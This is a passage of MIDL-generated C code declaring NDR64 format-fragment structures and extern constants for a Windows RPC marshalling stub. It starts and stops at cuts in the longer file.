_NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag764_t;\nextern const __midl_frag764_t __midl_frag764;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag763_t;\nextern const __midl_frag763_t __midl_frag763;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag762_t;\nextern const __midl_frag762_t __midl_frag762;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag761_t;\nextern const __midl_frag761_t __midl_frag761;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag760_t;\nextern const __midl_frag760_t __midl_frag760;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag757_t;\nextern const __midl_frag757_t __midl_frag757;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag756_t;\nextern const __midl_frag756_t __midl_frag756;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n    } frag2;\n}\n__midl_frag755_t;\nextern const __midl_frag755_t __midl_frag755;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag747_t;\nextern const __midl_frag747_t __midl_frag747;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag742_t;\nextern const __midl_frag742_t __midl_frag742;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag741_t;\nextern const __midl_frag741_t __midl_frag741;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag740_t;\nextern const __midl_frag740_t __midl_frag740;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag739_t;\nextern const __midl_frag739_t __midl_frag739;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag732_t;\nextern const __midl_frag732_t __midl_frag732;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag728_t;\nextern const __midl_frag728_t __midl_frag728;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag725_t;\nextern const __midl_frag725_t __midl_frag725;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag724_t;\nextern const __midl_frag724_t __midl_frag724;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag723_t;\nextern const __midl_frag723_t __midl_frag723;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag722_t;\nextern const __midl_frag722_t __midl_frag722;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag719_t;\nextern const __midl_frag719_t __midl_frag719;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag718_t;\nextern const __midl_frag718_t __midl_frag718;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag717_t;\nextern const __midl_frag717_t __midl_frag717;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_MEMPAD_FORMAT frag5;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n    } frag2;\n}\n__midl_frag715_t;\nextern const __midl_frag715_t __midl_frag715;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag714_t;\nextern const __midl_frag714_t __midl_frag714;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag710_t;\nextern const __midl_frag710_t __midl_frag710;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag709_t;\nextern const __midl_frag709_t __midl_frag709;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag707_t;\nextern const __midl_frag707_t __midl_frag707;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag706_t;\nextern const __midl_frag706_t __midl_frag706;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_CONST64 frag3;\n    struct _NDR64_EXPR_VAR frag4;\n}\n__midl_frag705_t;\nextern const __midl_frag705_t __midl_frag705;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    NDR64_UINT32 frag7;\n}\n__midl_frag704_t;\nextern const __midl_frag704_t __midl_frag704;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag703_t;\nextern const __midl_frag703_t __midl_frag703;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag702_t;\nextern const __midl_frag702_t __midl_frag702;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag699_t;\nextern const __midl_frag699_t __midl_frag699;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag697_t;\nextern const __midl_frag697_t __midl_frag697;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag696_t;\nextern const __midl_frag696_t __midl_frag696;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag695_t;\nextern const __midl_frag695_t __midl_frag695;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag692_t;\nextern const __midl_frag692_t __midl_frag692;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag691_t;\nextern const __midl_frag691_t __midl_frag691;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag690_t;\nextern const __midl_frag690_t __midl_frag690;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag686_t;\nextern const __midl_frag686_t __midl_frag686;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag683_t;\nextern const __midl_frag683_t __midl_frag683;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag682_t;\nextern const __midl_frag682_t __midl_frag682;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag681_t;\nextern const __midl_frag681_t __midl_frag681;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag677_t;\nextern const __midl_frag677_t __midl_frag677;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag676_t;\nextern const __midl_frag676_t __midl_frag676;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag673_t;\nextern const __midl_frag673_t __midl_frag673;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag669_t;\nextern const __midl_frag669_t __midl_frag669;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n}\n__midl_frag668_t;\nextern const __midl_frag668_t __midl_frag668;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag664_t;\nextern const __midl_frag664_t __midl_frag664;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag656_t;\nextern const __midl_frag656_t __midl_frag656;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag655_t;\nextern const __midl_frag655_t __midl_frag655;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag654_t;\nextern const __midl_frag654_t __midl_frag654;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag653_t;\nextern const __midl_frag653_t __midl_frag653;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n    struct _NDR64_PARAM_FORMAT frag13;\n}\n__midl_frag648_t;\nextern const __midl_frag648_t __midl_frag648;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag646_t;\nextern const __midl_frag646_t __midl_frag646;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag645_t;\nextern const __midl_frag645_t __midl_frag645;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag644_t;\nextern const __midl_frag644_t __midl_frag644;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag642_t;\nextern const __midl_frag642_t __midl_frag642;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag626_t;\nextern const __midl_frag626_t __midl_frag626;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag616_t;\nextern const __midl_frag616_t __midl_frag616;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag603_t;\nextern const __midl_frag603_t __midl_frag603;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag602_t;\nextern const __midl_frag602_t __midl_frag602;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag600_t;\nextern const __midl_frag600_t __midl_frag600;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag599_t;\nextern const __midl_frag599_t __midl_frag599;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag598_t;\nextern const __midl_frag598_t __midl_frag598;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    NDR64_UINT32 frag5;\n}\n__midl_frag597_t;\nextern const __midl_frag597_t __midl_frag597;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag596_t;\nextern const __midl_frag596_t __midl_frag596;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag595_t;\nextern const __midl_frag595_t __midl_frag595;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag592_t;\nextern const __midl_frag592_t __midl_frag592;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag587_t;\nextern const __midl_frag587_t __midl_frag587;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag586_t;\nextern const __midl_frag586_t __midl_frag586;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag585_t;\nextern const __midl_frag585_t __midl_frag585;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag578_t;\nextern const __midl_frag578_t __midl_frag578;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag575_t;\nextern const __midl_frag575_t __midl_frag575;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag574_t;\nextern const __midl_frag574_t __midl_frag574;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag573_t;\nextern const __midl_frag573_t __midl_frag573;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag572_t;\nextern const __midl_frag572_t __midl_frag572;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag571_t;\nextern const __midl_frag571_t __midl_frag571;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag568_t;\nextern const __midl_frag568_t __midl_frag568;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag567_t;\nextern const __midl_frag567_t __midl_frag567;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag566_t;\nextern const __midl_frag566_t __midl_frag566;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag565_t;\nextern const __midl_frag565_t __midl_frag565;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag562_t;\nextern const __midl_frag562_t __midl_frag562;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag561_t;\nextern const __midl_frag561_t __midl_frag561;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag558_t;\nextern const __midl_frag558_t __midl_frag558;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag548_t;\nextern const __midl_frag548_t __midl_frag548;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag547_t;\nextern const __midl_frag547_t __midl_frag547;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag546_t;\nextern const __midl_frag546_t __midl_frag546;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag542_t;\nextern const __midl_frag542_t __midl_frag542;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag532_t;\nextern const __midl_frag532_t __midl_frag532;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag528_t;\nextern const __midl_frag528_t __midl_frag528;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag515_t;\nextern const __midl_frag515_t __midl_frag515;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag513_t;\nextern const __midl_frag513_t __midl_frag513;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag509_t;\nextern const __midl_frag509_t __midl_frag509;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag503_t;\nextern const __midl_frag503_t __midl_frag503;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag502_t;\nextern const __midl_frag502_t __midl_frag502;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag501_t;\nextern const __midl_frag501_t __midl_frag501;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag496_t;\nextern const __midl_frag496_t __midl_frag496;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n}\n__midl_frag489_t;\nextern const __midl_frag489_t __midl_frag489;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag486_t;\nextern const __midl_frag486_t __midl_frag486;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_MEMPAD_FORMAT 